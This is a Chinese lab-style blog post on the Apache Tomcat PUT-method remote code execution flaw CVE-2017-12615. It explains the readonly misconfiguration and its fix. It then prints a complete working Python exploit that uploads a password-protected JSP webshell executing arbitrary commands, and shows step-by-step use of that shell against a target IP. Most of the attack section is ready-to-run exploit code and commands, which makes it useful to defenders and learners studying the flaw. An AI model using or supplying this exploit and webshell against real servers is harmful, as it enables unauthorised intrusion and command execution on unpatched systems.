Tomcat远程代码执行漏洞（CVE-2017-12615）

た入场券 2022-04-16 00:25 376阅读 0赞

**分享一下我老师大神的人工智能教程！零基础，通俗易懂！[http://blog.csdn.net/jiangjunshow][http_blog.csdn.net_jiangjunshow]**

**也欢迎大家转载本篇文章。分享知识，造福人民，实现我们中华民族伟大复兴！**

**实验环境**

操作机：windows XP

IP：172.16.11.2

目标机：windows server 2003

IP：172.16.12.2

**实验目的**

了解Tomcat远程代码执行漏洞危害

掌握检测利用Tomcat远程代码执行漏洞的能力

**实验工具**

Firefox: 中文俗称火狐，一个自由及开放源代码网页浏览器

**实验内容**  
Tomcat

Tomcat服务器是一个免费的开放源代码的Web应用服务器。Tomcat是Apache软件基金会（Apache SoftwareFoundation）的Jakarta项目中的一个核心项目，由Apache、Sun和其他一些公司及个人共同开发而成。

漏洞介绍

2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，其中就有远程代码执行漏洞(CVE-2017-12615)当存在漏洞的Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT请求方法，攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件，造成任意代码执行，危害十分严重。

**漏洞分析：**  
在Tomcat安装目录下的配置文件web.xml中的org.apache.catalina.servlets.DefaultServlet方法下如果该方法有如下代码，即表示Tomcat已开启PUT方法

<init-param>       <param-name>readonly</param-name>       <param-value>false</param-value> </init-param>
      
       
        1 
        2 
        3 
        4

然后我们就可以通过PUT方法直接上传一句话木马  
**修复方案**

用户可以禁用PUT方法来防护此漏洞，操作方式如下：

在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数

<init-param><param-name>readonly</param-name><param-value>true</param-value></init-param>
      
       
        1 
        2 
        3 
        4

确保readonly参数为true（默认值），即不允许DELETE和PUT操作。  
**实验步骤**  
**top 1：访问目标网站**  
在浏览器的地址栏输入我们的目标网站地址172.16.12.2:8080  
![这里写图片描述][SouthEast]  
查看版本知道存在远程代码执行漏洞

**top 2：下载payload，内容如下：**

#! -*- coding:utf-8 -*- import httplibimport sysimport timebody = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''try:    conn = httplib.HTTPConnection(sys.argv[1])    conn.request(method='OPTIONS', url='/ffffzz')    headers = dict(conn.getresponse().getheaders())    if 'allow' in headers and \       headers['allow'].find('PUT') > 0 :        conn.close()        conn = httplib.HTTPConnection(sys.argv[1])        url = "/" + str(int(time.time()))+'.jsp/'        #url = "/" + str(int(time.time()))+'.jsp::$DATA'        conn.request( method='PUT', url= url, body=body)        res = conn.getresponse()        if res.status  == 201 :            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]            print 'shell:', 'http://' + sys.argv[1] + url[:-1]        elif res.status == 204 :            print 'file exists'        else:            print 'error'        conn.close()    else:        print 'Server not vulnerable'except Exception,e:    print 'Error:', e
      
       
        1 
        2 
        3 
        4 
        5 
        6 
        7 
        8 
        9 
        10 
        11 
        12 
        13 
        14 
        15 
        16 
        17 
        18 
        19 
        20 
        21 
        22 
        23 
        24 
        25 
        26 
        27 
        28 
        29 
        30 
        31 
        32 
        33 
        34 
        35 
        36 
        37 
        38 
        39 
        40 
        41 
        42 
        43 
        44 
        45 
        46 
        47 
        48 
        49 
        50 
        51 
        52 
        53 
        54 
        55 
        56 
        57 
        58 
        59

**top 3 利用payload对目标网站发起攻击**  
下载完后payload命名为exp.txt  
进入cmd界面，然后切换到exp.txt文件目录下，  
接下来输入命令:

python exp.py 172.16.12.2:8080
      
       
        1

运行，程序返回webshell的地址

http://172.16.12.2:8080/1506412001.jsp
      
       
        1

注意：此处1506412001.jsp为随机生成地址，请以实际获取的shell为准

在火狐浏览器中按F9打开hackbar插件，执行以下命令

http://172.16.12.2:8080/1506412001.jsp?&pwd=023&cmd=ipconfig
      
       
        1

![这里写图片描述][SouthEast 1]  
输入如下指令，得到：

http://172.16.12.2:8080/1506412001.jsp?&pwd=023&cmd=ipconfig
      
       
        1

![这里写图片描述][SouthEast 2]

结果分析：  
当存在漏洞的Tomcat运行在 Windows 主机上，且启用了 HTTP PUT 请求方法，攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件，造成任意代码执行。因此，通常情况下我们应该不允许DELETE和PUT操作。

#### 给我老师的人工智能教程打call！[http://blog.csdn.net/jiangjunshow][http_blog.csdn.net_jiangjunshow] ####

![这里写图片描述][SouthEast 3]

[http_blog.csdn.net_jiangjunshow]: https://blog.csdn.net/jiangjunshow/article/details/77338485
[SouthEast]: /images/20220416/9eefb9abc4e345c6a062084c6eb7b679.png
[SouthEast 1]: /images/20220416/f0d1b485d377462db217a64e80989756.png
[SouthEast 2]: /images/20220416/56eab89b798e4c789c0452b772d0c6c1.png
[SouthEast 3]: /images/20220416/64016880d02940f486af578fb36d928e.png